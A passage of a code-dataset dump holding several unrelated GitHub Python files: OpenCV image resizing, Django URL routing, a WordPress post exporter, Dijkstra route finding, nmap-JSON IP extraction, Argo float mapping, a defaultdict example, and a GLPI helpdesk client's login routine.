cv2.resize(image, (int(width),int(height)))\n\nprint(image.shape)\nprint(half.shape)\n\n# count_pix = cv2.countNonZero(image)\ncv2.imshow(\"python half \", half)\n\ncv2.imshow(\"python Original \", image)\n# print(image.shape)\n\n\n# cv2.imshow(\"Python Image\",image)\n\ncv2.waitKey(0)","repo_name":"Salman13201016/opencv","sub_path":"opencv/very_basic/image.py","file_name":"image.py","file_ext":"py","file_size_in_byte":370,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"} +{"seq_id":"13528795926","text":"\"\"\"uid URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/2.1/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path\nfrom home import views\nfrom django.contrib.staticfiles.urls import staticfiles_urlpatterns\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n path('home/', views.home, name='Home'),\n path('about/', views.about, name='About'),\n path('forum/', views.forum, name='Forum'),\n path('news/', views.news, name='News'),\n\n path('header/', views.header, name = 'just_head'),\n path('login/', views.login, name='login'),\n path('logout/', views.logout, name = 'logout'),\n path('user_profile/', views.user_profile, name='user_profile'),\n path('admins/', views.admin_home, name='admin_home'),\n path('admin_header/', views.admin_header, name='admin_header'),\n path('admin_navbar/', views.admin_navbar, name='admin_navbar'),\n path('admin_footer/', views.admin_footer, name='admin_footer'),\n path('admin_latestnews/', views.admin_latestnews, name='admin_latestnews'),\n path('admin_profilepage/', views.admin_profilepage, name='admin_profilepage'),\n path('admin_aboutus/', views.admin_aboutus, name='admin_aboutus'),\n path('admin_registerpage/', views.admin_registerpage, name='admin_registerpage'),\n path('admin_category/', views.admin_category, name='admin_category'),\n path('user_registration/',views.register,name=\"user_registrarion\"),\n path('question_page/',views.question_page,name=\"question_page\"),\n path('read_more/',views.read_more,name=\"article\"),\n path('laws/',views.laws,name=\"laws\"),\n path('survey_q/',views.survey_q,name=\"surveyq\"),\n path('survey_a/',views.survey_a,name=\"surveya\"),\n path('survey/',views.survey,name=\"survey\"),\n path('admin_aggregate/',views.admin_aggregate,name=\"admin_aggregate\"),\n\n\n]\n\nurlpatterns+=staticfiles_urlpatterns()\n","repo_name":"ramsuthar305/SIH2019","sub_path":"uid/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2406,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"28191068633","text":"# This code is in Public Domain. Take all the code you want, we'll just write more.\r\nimport pickle, bz2, os.path, string, datetime, sys, codecs\r\n\r\nPICKLED_DATA = os.path.join(\"..\", \"..\", \"..\", \"wp_posts.dat.bz2\")\r\nFILES_DIR = os.path.join(\"..\", \"srcblog\")\r\n\r\n(p_id, p_author, p_date, p_date_gmt, p_content, p_title, p_cat, p_exc, p_lat, p_lon, p_status, p_comment_status, p_ping_status, p_password, p_name, p_to_ping, p_pinged, p_modified, p_modified_gmt, p_content_filtered, p_parent, p_guid, p_menu_order, p_type, p_mime_type, p_comment_count) = range(26)\r\n\r\n(cat_id, cat_name, cat_nicename) = range(3)\r\n\r\ndef to_datetime(val):\r\n #print(\"type of '%s' is '%s'\" % (str(val), type(val)))\r\n dt = datetime.datetime.utcfromtimestamp(val)\r\n #print(\"'%s' is '%s'\" % (str(val), dt.isoformat()))\r\n return dt\r\n\r\ndef to_unicode(val):\r\n #if isinstance(val, unicode): return val\r\n return unicode(val, 'latin-1')\r\n\r\ndef dir_exists(path): return os.path.exists(path) and os.path.isdir(path)\r\n\r\ndef make_dir(path):\r\n if not dir_exists(path): os.makedirs(path)\r\n\r\ndef write_to_file(filename, txt_uni):\r\n make_dir(os.path.dirname(filename))\r\n fo = codecs.open(filename, encoding='utf-8', mode=\"w\")\r\n fo.write(txt_uni)\r\n fo.close()\r\n\r\ndef get_cat(cats, catid):\r\n for c in cats:\r\n if c[cat_id] == catid:\r\n return c[cat_name]\r\n return None\r\n\r\ndef main():\r\n if not os.path.exists(PICKLED_DATA):\r\n print(\"File %s doesn't exists\" % PICKLED_DATA)\r\n return\r\n print(\"Reading '%s'\" % PICKLED_DATA)\r\n fo = bz2.BZ2File(PICKLED_DATA, \"r\")\r\n data = pickle.load(fo)\r\n fo.close()\r\n print(\"Finished reading\")\r\n posts = data[\"posts\"]\r\n cats = data[\"categories\"]\r\n dates_txt = {}\r\n total = len(posts)\r\n n = 1\r\n for p in posts:\r\n date = p[p_date_gmt]\r\n body_latin1 = p[p_content]\r\n body = to_unicode(body_latin1)\r\n title_latin1 = p[p_title]\r\n cat = p[p_cat]\r\n if cat:\r\n #print(\"Looking for cat: %d\" % cat)\r\n cat = get_cat(cats, cat)\r\n if title_latin1:\r\n title = to_unicode(title_latin1)\r\n if not date:\r\n date = p[p_date]\r\n if not date:\r\n filename = \"draft_%d.txt\" % n\r\n filepath = os.path.join(FILES_DIR, filename)\r\n print(\"Writing (%d out of %d) %s\" % (n, total, filepath))\r\n write_to_file(filepath, txt)\r\n n += 1\r\n continue\r\n date_txt = date.strftime(\"%Y-%m-%d\")\r\n if date_txt in dates_txt:\r\n count = dates_txt[date_txt]\r\n dates_txt[date_txt] = count + 1\r\n filename = \"%s_%d.txt\" % (date_txt, count)\r\n else:\r\n dates_txt[date_txt] = 1\r\n filename = date_txt + \".txt\"\r\n (year, month) = date_txt.split(\"-\")[:2]\r\n fulldate = str(date)\r\n txt = u\"Date: %s\\n\" % str(date)\r\n txt += u\"Format: wphtml\\n\"\r\n #if cat: txt += u\"Category: %s\\n\" % to_unicode(cat)\r\n if title:\r\n txt += u\"Title: %s\\n\" % title\r\n if p[p_type]:\r\n txt += u\"Type: %s\\n\" % to_unicode(p[p_type])\r\n if p[p_mime_type]:\r\n txt += u\"MimeType: %s\\n\" % to_unicode(p[p_mime_type])\r\n txt += \"\\n\" + body\r\n filepath = os.path.join(FILES_DIR, year, month, filename)\r\n print(\"Writing (%d out of %d) %s\" % (n, total, filepath))\r\n write_to_file(filepath, txt)\r\n n += 1\r\n print(\"%d posts\" % len(posts))\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n\r\n","repo_name":"lalluviamola/web-blog","sub_path":"scripts/wptofiles.py","file_name":"wptofiles.py","file_ext":"py","file_size_in_byte":3258,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"20346552334","text":"import yaml\nimport math\nfrom numpy.linalg import norm\nimport numpy as np\nfrom numpy import arccos, array, dot, pi, cross\n\nfrom collections import deque, namedtuple\n\n# we'll use infinity as a default distance to nodes.\ninf = float('inf')\nEdge = namedtuple('Edge', 'start, end, cost')\n\n\ndef distance_numpy(A, B, P):\n \"\"\" segment line AB, point P, where each one is an array([x, y]) \"\"\"\n if all(A == P) or all(B == P):\n return 0\n if arccos(dot((P - A) / norm(P - A), (B - A) / norm(B - A))) > pi / 2:\n return norm(P - A)\n if arccos(dot((P - B) / norm(P - B), (A - B) / norm(A - B))) > pi / 2:\n return norm(P - B)\n return norm(cross(A - B, A - P)) / norm(B - A)\n\n\ndef make_edge(start, end, cost):\n return Edge(start, end, cost)\n\n\nclass Graph:\n def __init__(self, edges=None):\n if edges is None:\n self.edges = []\n return\n # let's check that the data is right\n wrong_edges = [i for i in edges if len(i) not in [2, 3]]\n if wrong_edges:\n raise ValueError('Wrong edges data: {}'.format(wrong_edges))\n \n self.edges = [make_edge(*edge) for edge in edges]\n \n @property\n def vertices(self):\n return set(\n sum(\n ([edge.start, edge.end] for edge in self.edges), []\n )\n )\n \n def get_node_pairs(self, n1, n2, both_ends=True):\n if both_ends:\n node_pairs = [[n1, n2], [n2, n1]]\n else:\n node_pairs = [[n1, n2]]\n return node_pairs\n \n def remove_edge(self, n1, n2, both_ends=True):\n node_pairs = self.get_node_pairs(n1, n2, both_ends)\n edges = self.edges[:]\n for edge in edges:\n if [edge.start, edge.end] in node_pairs:\n self.edges.remove(edge)\n \n def add_edge(self, n1, n2, cost, both_ends=True):\n node_pairs = self.get_node_pairs(n1, n2, both_ends)\n for edge in self.edges:\n if [edge.start, edge.end] in node_pairs:\n return ValueError('Edge {} {} already exists'.format(n1, n2))\n \n self.edges.append(Edge(start=n1, end=n2, cost=cost))\n if both_ends:\n self.edges.append(Edge(start=n2, end=n1, cost=cost))\n \n @property\n def neighbours(self):\n neighbours = {vertex: set() for vertex in self.vertices}\n for edge in self.edges:\n neighbours[edge.start].add((edge.end, edge.cost))\n \n return neighbours\n \n def dijkstra(self, source, dest):\n assert source in self.vertices, 'Such source node doesn\\'t exist'\n distances = {vertex: inf for vertex in self.vertices}\n previous_vertices = {\n vertex: None for vertex in self.vertices\n }\n distances[source] = 0\n vertices = self.vertices.copy()\n \n while vertices:\n current_vertex = min(\n vertices, key=lambda vertex: distances[vertex])\n vertices.remove(current_vertex)\n if distances[current_vertex] == inf:\n break\n for neighbour, cost in self.neighbours[current_vertex]:\n alternative_route = distances[current_vertex] + cost\n if alternative_route < distances[neighbour]:\n distances[neighbour] = alternative_route\n previous_vertices[neighbour] = current_vertex\n \n path, current_vertex = deque(), dest\n while previous_vertices[current_vertex] is not None:\n path.appendleft(current_vertex)\n current_vertex = previous_vertices[current_vertex]\n if path:\n path.appendleft(current_vertex)\n return path\n\n\ngraph = Graph([\n (\"a\", \"b\", 7), (\"a\", \"c\", 9), (\"a\", \"f\", 14), (\"b\", \"c\", 10),\n (\"b\", \"d\", 15), (\"c\", \"d\", 11), (\"c\", \"f\", 2), (\"d\", \"e\", 6),\n (\"e\", \"f\", 9)])\n\nprint(graph.dijkstra(\"a\", \"e\"))\n\n\ndef calculate_dis(a, b):\n return math.pow(a[0] - b[0], 2) + math.pow(a[1] - b[1], 2)\n\n\nclass Navigation:\n def __init__(self, file):\n self.graph = Graph()\n self.nodes = []\n self.edges = []\n with open(file, 'r') as f:\n map_yaml = yaml.load(f)\n node_cnt = 0\n cnt = 0\n for lane in map_yaml['Lanes']:\n \n point_from = lane['points'][0]['point']\n for n in self.nodes:\n if calculate_dis(n, point_from) < 0.5:\n point_from.append(n[2])\n break\n if len(point_from) == 2:\n point_from.append(str(cnt))\n self.nodes.append(point_from)\n cnt += 1\n \n point_to = lane['points'][1]['point']\n for n in self.nodes:\n if calculate_dis(n, point_to) < 0.5:\n point_to.append(n[2])\n break\n if len(point_to) == 2:\n point_to.append(str(cnt))\n self.nodes.append(point_to)\n cnt += 1\n dis = calculate_dis(point_from, point_to)\n if lane['direction_attr'] == 'BiDirection':\n self.graph.add_edge(point_from[2], point_to[2], dis, both_ends=True)\n elif lane['direction_attr'] == 'Forward':\n self.graph.add_edge(point_from[2], point_to[2], dis, both_ends=False)\n elif lane['direction_attr'] == 'Backward':\n self.graph.add_edge(point_to[2], point_from[2], dis, both_ends=False)\n \n def serach(self, pose_from, pose_to):\n shortest_to_map = 99999\n for edge in self.edges:\n length = distance_numpy(edge[0], edge[1], pose_from)\n shortest_to_map = length if length < shortest_to_map else shortest_to_map\n if shortest_to_map > 1:\n return False, None\n \n shortest_to_map = 99999\n for edge in self.edges:\n length = distance_numpy(edge[0], edge[1], pose_to)\n shortest_to_map = length if length < shortest_to_map else shortest_to_map\n if shortest_to_map > 1:\n return False, None\n \n shortest_to_node = 9999\n node_name_from = 'None'\n for n in self.nodes:\n dis = calculate_dis(n, pose_from)\n if shortest_to_node > dis:\n node_name_from = n[2]\n shortest_to_node = dis\n \n self.graph.add_edge(node_name_from, 'from', shortest_to_node, False)\n \n shortest_to_node = 9999\n node_name_to = 'None'\n for n in self.nodes:\n dis = calculate_dis(n, pose_to)\n if shortest_to_node > dis:\n node_name_to = n[2]\n shortest_to_node = dis\n \n self.graph.add_edge(node_name_to, 'to', shortest_to_node, False)\n \n print(self.graph.dijkstra('from', 'to'))\n","repo_name":"haduoken/python_tools","sub_path":"Navigation.py","file_name":"Navigation.py","file_ext":"py","file_size_in_byte":6951,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"14539119571","text":"import ipaddress\r\nimport json\r\nimport re\r\nfrom typing import List, Any\r\nimport psutil as ps\r\n\r\ninput_file=open('data_new.json', 'r')\r\njson_decode=json.load(input_file)\r\nip_list = []\r\naddress_dic ={}\r\nfor item in json_decode['nmaprun']['host']:\r\n address_dic = item.get('address')\r\n if type(address_dic) is list:\r\n for address in address_dic:\r\n ipaddr = address['@addr']\r\n ip_list.append(ipaddr)\r\n print(\"The data structure is List and the IP List is:\", ip_list)\r\n else:\r\n ip_list.append(address_dic['@addr'])\r\n print(\"The data structure is Dict and the type is dict:\",ip_list)\r\n\r\n","repo_name":"faizSource/hajeratest1","sub_path":"ParseJson2.py","file_name":"ParseJson2.py","file_ext":"py","file_size_in_byte":664,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"13327263815","text":"from map_funcs import *\n\ndef mapmeat(lon_start,lat_start,lon_end,lat_end,lon,lat,bathySmoothed):\n\n lon_0= (lon_end + lon_start)/2.0\n lat_0= - (abs(lat_end)+abs(lat_start))/2.0\n\n\n map = Basemap(lat_0=lat_0,lon_0=lon_0,llcrnrlat=lat_start,urcrnrlat=lat_end,\n llcrnrlon=lon_start,urcrnrlon=lon_end,\n resolution='h',projection='stere')\n\n x, y = map(lon,lat)\n CS0 = map.contour(x,y,bathySmoothed,[-3000,-2000,-1000],colors='grey')\n # map.drawcoastlines()\n map.fillcontinents('darkgrey')\n\n return map,x,y,CS0\n\nimport glob\ndatadir='/home/isabela/Documents/proposals/2019Oct_InternalInnovation_floats/Argo_data/DataSelection_20191002_184329_8701800/'\nimport xarray as xr\n\ndatlist=glob.glob(datadir+'*trajectory*')\n\ndef SimpleMap():\n\n lat_start=60\n lat_end =75\n lon_start=-55\n lon_end =-10\n\n \"\"\"Get the etopo1 data\"\"\"\n etopo1name=predir+'ETOPO1_Ice_g_gmt4.grd'\n etopo1 = Dataset(etopo1name,'r')\n\n lons = etopo1.variables[\"x\"][:]\n lats = etopo1.variables[\"y\"][:]\n\n res = findSubsetIndices(lat_start-5,lat_end+5,lon_start-40,lon_end+10,lats,lons)\n\n lon,lat=np.meshgrid(lons[int(res[0]):int(res[1])],lats[int(res[2]):int(res[3])])\n bathy = etopo1.variables[\"z\"][int(res[2]):int(res[3]),int(res[0]):int(res[1])]\n bathySmoothed = laplace_filter(bathy,M=None)\n\n map,x,y,CS0=mapmeat(lon_start,lat_start,lon_end,lat_end,lon,lat,bathySmoothed)\n map.drawmeridians(range(lon_start+3,lon_end+10,10),labels=[0,0,0,1],linewidth=0.0001,fontsize=12)\n map.drawparallels(arange(lat_start,lat_end+2,5),labels=[1,0,0,0],linewidth=0.0001,fontsize=12)\n\n\n for dd in datlist:\n dat=xr.open_dataset(dd)\n map.plot(dat.LONGITUDE.values,dat.LATITUDE.values,'.-',latlon=True,alpha=0.4)\n\n savefig('/home/isabela/Documents/proposals/2019Oct_InternalInnovation_floats/Argomap.pdf')\n savefig('/home/isabela/Documents/proposals/2019Oct_InternalInnovation_floats/Argomap.png',dpi=300)\n return map\n\n\nSimpleMap()\n\n# Interesting floats\ni1='6901911'\ni2='6902728'\n\nglob.glob(datadir+'*'+i1+'*')\n\nproflist=glob.glob(datadir+'*profiles*')\n\n\ndtest=xr.open_dataset(proflist[0])\n\n\nfor dd in datlist:\n dat=xr.open_dataset(dd)\n figure()\n plot(dat.LONGITUDE.values,dat.LATITUDE.values,'.-')\n title(dd[-30:])\n xlim(-55,-10)\n ylim(60,75)\n","repo_name":"ilebras/OSNAP","sub_path":"auxiliary/ArgoMap_forInnovTechprop.py","file_name":"ArgoMap_forInnovTechprop.py","file_ext":"py","file_size_in_byte":2326,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"71812776360","text":"from collections import defaultdict\n\n# 딕셔너리의 키를 여러 값에 매핑하기\n\na = {\n 'a': [1, 2, 3],\n 'b': [4, 5]\n}\n\nb = {\n 'a': [1, 2, 3],\n 'b': [4, 5]\n}\n\nd = defaultdict(list)\nd['a'].append(1)\nd['a'].append(2)\nd['b'].append(4)\nd['b'].append(4)\nprint(d)\n\ne = defaultdict(set)\ne['a'].add(1)\ne['a'].add(2)\ne[''].add(4)\ne[''].add(4)\nprint(e)\n\npairs = []\n\n# 딕셔너리로 다음 작업을 수행할 때 일반 딕셔너리일때의 예제 코드\nf = {}\nfor key, value in pairs:\n if key not in f:\n d[key] = []\n d[key].append()\n\n# 딕셔너리로 다음 작업을 수행할 때 defaultdict 를 이용할 때의 예제 코드\n# (if 체크를 안해도 됨)\ng = defaultdict(list)\nfor key, value in pairs:\n d[key].append()\n","repo_name":"Ma-rk/python-cookbook-3rd","sub_path":"01_DataStructuresAndAlgorithms/06_MappingKeysToMultipleValuesInDictionary.py","file_name":"06_MappingKeysToMultipleValuesInDictionary.py","file_ext":"py","file_size_in_byte":757,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"8921657042","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\n\n# MODULES\n\nfrom vars import *\nfrom functions import *\nimport requests\nimport json\nimport base64\nimport os\nfrom os import listdir\nfrom os.path import isfile,join\nimport glob\nimport sys\nimport shutil\nfrom distutils.dir_util import copy_tree\nimport logging\nimport random\nimport string\nimport ntpath\nfrom time import strftime\nimport wget\nimport markdownify\n\n#PIC ATTACH CODE\n#doesn't work on winXP\nfrom PIL import ImageGrab\n\nfrom PyQt5.QtWidgets import QWidget, QSystemTrayIcon, QAction, QMenu, QLabel, QLineEdit, QCheckBox, QPushButton, \\\n QGridLayout, QMainWindow, QDesktopWidget, QTableWidget, QDateTimeEdit, QAbstractItemView, QTableWidgetItem, \\\n QAbstractScrollArea, QHeaderView, QMessageBox, QPlainTextEdit, QApplication, QFileDialog, QComboBox, QVBoxLayout\nfrom PyQt5.QtCore import Qt, QCoreApplication, QTimer, QDate\nfrom PyQt5.QtGui import QIcon, QFont, QPixmap, QWindow\n\n# spinner module (from file \"waitingspinnerwidget.py\")\nfrom waitingspinnerwidget import QtWaitingSpinner\n\n# check if app already running (from file \"singleinstance.py\")\n#from singleinstance import singleinstance\nfrom sys import exit\n\n\n# APP START\n\n# gettext multilang init\n_ = translate.gettext\ntranslate.install()\n\n# get client app ip and hostname\nclientIp = clientIpGet()\nclientHostname = clientHostnameGet()\n\n# singleinstance var (for single app run check)\nmyAppAlreadyRunning = singleinstance()\n\n# NOT FOR WinXP\n# # enc\n# def encrypt(message: bytes, key: bytes) -> bytes:\n# return Fernet(key).encrypt(message)\n#\n# # decr\n# def decrypt(token: bytes, key: bytes) -> bytes:\n# return Fernet(key).decrypt(token)\n\n# debug\nprint(\"Client IP: \" + str(clientIp))\nprint(\"Client Hostname: \" + str(clientHostname))\n\n# check if auth.ini exists\nif os.path.exists(configAuthPath):\n print(_(\"auth.ini exists!\"))\n\n # if auth.ini exists\n if os.path.isfile(configAuthPath):\n print(_(\"auth.ini is a file!\"))\n else:\n print(_(\"auth.ini is a directory! delete directory auth.ini\"))\n shutil.rmtree(configAuthPath)\n\n print(_(\"Create auth.ini\"))\n\n # create auth.ini\n content = [\"[auth]\", \"checkboxrememberloginchecked = 1\"]\n file = open(configAuthPath, \"w\")\n for index in content:\n file.write(index + '\\n')\n file.close()\n\n# if auth.ini DOESN'T exist\nelse:\n print(\"auth.ini doesn't exist! create auth.ini\")\n\n # create auth.ini\n content = [\"[auth]\", \"checkboxrememberloginchecked = 1\"]\n file = open(configAuthPath, \"w\")\n for index in content:\n file.write(index + '\\n')\n file.close()\n\n# auth.ini read\nconfigAuth = configparser.ConfigParser()\nconfigAuth.read(configAuthPath, encoding=\"utf8\")\n\n# # debug show sessionToken\n# def show(event):\n# print(sessionToken)\n\n\n# AUTH WIN\nclass AuthWin(QWidget):\n def __init__(self):\n super().__init__()\n self.AuthWinInitUI()\n\n def onTrayIconActivated(self, reason):\n self.activateWindow()\n self.show()\n self.setWindowState(Qt.WindowNoState)\n # if reason == 1:\n # print(\"onTrayIconActivated:\", reason)\n # self.activateWindow()\n # self.show()\n #\n # if reason == 2 or 3:\n # print(\"onTrayIconActivated:\", reason)\n # self.activateWindow()\n # self.show()\n\n # def disambiguateTimerTimeout(self):\n # print(\"Tray icon single clicked\")\n\n # method initUI create GUI\n def AuthWinInitUI(self):\n super().__init__()\n\n # create authwin\n self.setFixedSize(450, 250)\n self.center()\n self.setWindowTitle(appName)\n self.setWindowIcon(QIcon('img/ico.png'))\n\n # check if another instance of the same program running\n if myAppAlreadyRunning.alreadyrunning():\n\n # if checked checkbox hideAppWindowToTrayOnClose(1) in config file\n # MessageBox \"The program is already running\"\n if hideAppWindowToTrayOnClose == \"1\":\n print(\"Another instance of this program is already running\")\n QMessageBox.about(self, appName, _(\"The program is already running\"))\n exit(0)\n\n # if checked checkbox hideAppWindowToTrayOnClose(0) in config file\n # maximize app from panel\n if hideAppWindowToTrayOnClose == \"0\":\n w = WindowMgr()\n w.find_window_wildcard(\"GlpiClient\")\n w.set_foreground()\n exit(0)\n\n # no app running, safe to continue...\n print(\"No another instance is running, can continue here\")\n\n self.activateWindow()\n\n # init QSystemTrayIcon\n self.tray_icon = QSystemTrayIcon(self)\n self.tray_icon.setIcon(QIcon(\"img\\ico.png\"))\n self.tray_icon.setToolTip(appName)\n\n settings_action = QAction(_(\"Settings\"), self)\n settings_action.triggered.connect(self.settingsWinShow)\n\n about_action = QAction(_(\"About...\"), self)\n about_action.triggered.connect(self.aboutWinShow)\n\n quit_action = QAction(_(\"Quit\"), self)\n quit_action.triggered.connect(self.appClose)\n\n tray_menu = QMenu()\n\n tray_menu.addAction(settings_action)\n tray_menu.addAction(about_action)\n tray_menu.addAction(quit_action)\n\n self.tray_icon.setContextMenu(tray_menu)\n self.tray_icon.show()\n\n self.tray_icon.activated.connect(self.onTrayIconActivated)\n\n # head label\n authHeadLabel = QLabel(self)\n authHeadLabel.setText(_(\"Authorization\"))\n\n # head font\n authHeadLabelFont = QFont(\"Arial\", 16, QFont.Bold)\n authHeadLabel.setFont(authHeadLabelFont)\n\n # get checkbox REMEMBER LOGIN status\n checkboxRememberLoginChecked = configAuth.get(\"auth\", \"checkboxrememberloginchecked\")\n\n # login label create\n loginLabel = QLabel(self)\n loginLabel.setText(_(\"Login\"))\n\n # login entry create\n self.loginEntry = QLineEdit(self)\n\n try:\n # read login from config file\n self.loginEntry.setText(configAuth.get(\"auth\", \"login\"))\n\n except Exception:\n print(_(\"Login doesn't exist in auth.ini\"))\n self.loginEntry.setText(\"\")\n pass\n\n # pass label create\n passLabel = QLabel(self)\n passLabel.setText(_(\"Password\"))\n\n # pass entry create\n self.passEntry = QLineEdit(self)\n self.passEntry.setEchoMode(QLineEdit.Password)\n\n try:\n # NOT FOR WinXP\n # # get ENC PASS from config & decr it\n # userPassDecr = decrypt((bytes(configAuth.get(\"auth\", \"password\"), \"utf-8\")), encKey).decode()\n #\n # # set decr pass to pass entry\n # self.passEntry.setText(userPassDecr)\n\n # get pass from config\n userPass = configAuth.get(\"auth\", \"password\")\n\n # put password to window filled\n self.passEntry.setText(userPass)\n\n except Exception:\n print(_(\"Password doesn't exist in auth.ini\"))\n self.passEntry.setText(\"\")\n pass\n\n # add checkbox REMEMBER LOGIN\n self.checkboxRememberLogin = QCheckBox(_(\"Remember Login and Password\"), self)\n\n # if checked checkbox REMEMBER LOGIN IS TRUE(1) in config file\n if checkboxRememberLoginChecked == \"1\":\n # check checkboxRememberLogin\n self.checkboxRememberLogin.setChecked(True)\n if checkboxRememberLoginChecked == \"0\":\n # UNcheck checkboxRememberLogin\n self.checkboxRememberLogin.setChecked(False)\n\n # auth error label\n self.authErrorLabel = QLabel(self)\n self.authErrorLabel.setText('')\n self.authErrorLabel.setStyleSheet('color: red')\n\n # login button create\n self.loginButton = QPushButton(_(\"Sign in\"), self)\n self.loginButton.setFixedSize(150, 30)\n self.loginButton.clicked.connect(self.auth)\n\n # create grid of widgets\n grid = QGridLayout()\n grid.setSpacing(10)\n\n # auth label\n grid.addWidget(authHeadLabel, 0, 0, 1, 4)\n authHeadLabel.setAlignment(Qt.AlignCenter)\n authHeadLabel.setMinimumHeight(80)\n\n grid.addWidget(loginLabel, 1, 1)\n loginLabel.setAlignment(Qt.AlignCenter)\n\n grid.addWidget(self.loginEntry, 1, 2)\n self.loginEntry.setMaximumWidth(150)\n\n grid.addWidget(passLabel, 2, 1)\n passLabel.setAlignment(Qt.AlignCenter)\n\n grid.addWidget(self.passEntry, 2, 2)\n self.passEntry.setMaximumWidth(150)\n\n grid.addWidget(self.checkboxRememberLogin, 3, 0, 1, 4, alignment=Qt.AlignCenter)\n\n grid.addWidget(self.authErrorLabel, 4, 0, 1, 4)\n self.authErrorLabel.setAlignment(Qt.AlignCenter)\n\n grid.addWidget(self.loginButton, 5, 1, 2, 2, alignment=Qt.AlignCenter)\n\n self.setLayout(grid)\n\n # show mainwin\n self.show()\n\n # if checked checkbox hideAppWindowToTrayAtStartup(1) in config file\n if hideAppWindowToTrayAtStartup == \"1\":\n\n # hide (minimize) appWindow to tray at startup\n if hideAppWindowToTrayOnClose == \"1\":\n self.hide()\n\n # minimize window to windows panel\n if hideAppWindowToTrayOnClose == \"0\":\n self.setWindowState(self.windowState() | QWindow.Minimized)\n\n def center(self):\n qr = self.frameGeometry()\n cp = QDesktopWidget().availableGeometry().center()\n qr.moveCenter(cp)\n self.move(qr.topLeft())\n\n # auth\n def auth(self):\n # global vars are visible in all parts of code\n global sessionToken\n global userName\n global userFirstname\n global userRealname\n global userId\n\n # gui auth - get vars from entries\n userLogin = self.loginEntry.text()\n userPass = self.passEntry.text()\n\n # debug\n print(userLogin)\n print(userPass)\n\n # create crypt phrase of logg+pass for Basic Auth\n loginPassPairString = (userLogin + ':' + userPass)\n loginPassPairBytes = loginPassPairString.encode(\"utf-8\")\n encLoginPassPair = base64.b64encode(loginPassPairBytes)\n\n # convert loginPassPairBytes to Str\n encLoginPassPair = encLoginPassPair.decode(\"utf-8\")\n\n # debug\n # print(encLoginPassPair)\n\n\n #####\n ## INIT SESSION, GET sessionToken\n #####\n\n # request headers sessionInit over crypt log/pass\n headersSession = {'Content-Type': 'application/json',\n 'Authorization': 'Basic ' + encLoginPassPair,\n 'App-Token': appToken,\n }\n\n # request headers sessionInit over crypt userToken\n # headersSession = {'Content-Type': 'application/json',\n # 'Authorization': 'user_token ' + userToken,\n # 'App-Token': appToken,\n # }\n\n # try login to server\n try:\n # request session init\n responseSessionInit = requests.get(glpiApiBaseUrl + '/initSession', headers=headersSession)\n\n # write to var all json with sessionToken\n\n # pycharm 2018 x32 python 3.4\n sessionTokenJson = responseSessionInit.json()\n\n # pycharm 2019 x64 python 3.7\n #sessionTokenJson = json.loads(responseSessionInit.content)\n\n # debug\n print(type(sessionTokenJson).__name__)\n\n # check if sessionTokenJson correct type DICT or not\n if not (type(sessionTokenJson).__name__ == 'dict'):\n print(_(\"sessionTokenJson is NOT correct\"))\n self.authErrorLabel.setText(_(\"Auth error\"))\n\n # if json not DICT - exit func\n return\n\n # if json is DICT - go on auth\n else:\n print(_(\"sessionTokenJson is correct\"))\n\n # debug\n print(sessionTokenJson)\n\n # get sessionToken from json with sessionToken\n sessionToken = sessionTokenJson['session_token']\n\n # check if sessionTokenJson empty or not\n if not sessionToken:\n print(_(\"Auth error. 'session_token' not found\"))\n else:\n print(_(\"Auth success. 'session_token' found\"))\n\n # debug\n print(sessionToken)\n\n # if checkbox REMEMBER LOGIN is checked - write login to config file\n if self.checkboxRememberLogin.isChecked():\n\n # enc pass\n #userPassEnc = encrypt(userPass.encode(), encKey)\n\n # remember user login & enc pass in config file\n configAuth.set(\"auth\", \"login\", userLogin)\n configAuth.set(\"auth\", \"password\", userPass)\n configAuth.set(\"auth\", \"checkboxrememberloginchecked\", \"1\")\n\n # NOT FOR WinXP\n #configAuth.set(\"auth\", \"password\", str(userPass, \"utf-8\"))\n\n # write configAuth file\n with open(configAuthPath, \"w\", encoding=\"utf-8\") as config_file:\n configAuth.write(config_file)\n\n # if checkbox REMEMBER LOGIN is UNchecked - remove login from config file\n else:\n # REMOVE user login from config file\n configAuth.set(\"auth\", \"login\", \"\")\n configAuth.set(\"auth\", \"password\", \"\")\n configAuth.set(\"auth\", \"checkboxrememberloginchecked\", \"0\")\n\n # write configAuth file\n with open(configAuthPath, \"w\", encoding=\"utf-8\") as config_file:\n configAuth.write(config_file)\n\n # get user data\n\n # get userName from gui entry\n userName = userLogin\n\n print(userName)\n\n # request headers\n headersGet = {'Content-Type': 'application/json',\n 'Session-Token': sessionToken,\n 'App-Token': appToken,\n }\n\n # GET FULLSESSION (all auth user's vars)\n\n # request fullsession\n responseFullsessionGet = requests.get(glpiApiBaseUrl + '/getFullSession', headers=headersGet)\n\n # write to var all json-fullsession\n\n # pycharm 2018 x32 python 3.4\n fullsessionJson = responseFullsessionGet.json()\n\n # pycharm 2019 x64 python 3.7\n #fullsessionJson = json.loads(responseFullsessionGet.content)\n\n # debug\n print(fullsessionJson)\n\n # get user's firstname and secondname\n userFirstname = fullsessionJson['session']['glpifirstname']\n userRealname = fullsessionJson['session']['glpirealname']\n userId = fullsessionJson['session']['glpiID']\n print('\\r')\n print(userFirstname, userRealname)\n\n # hide autwin, show mainwin\n 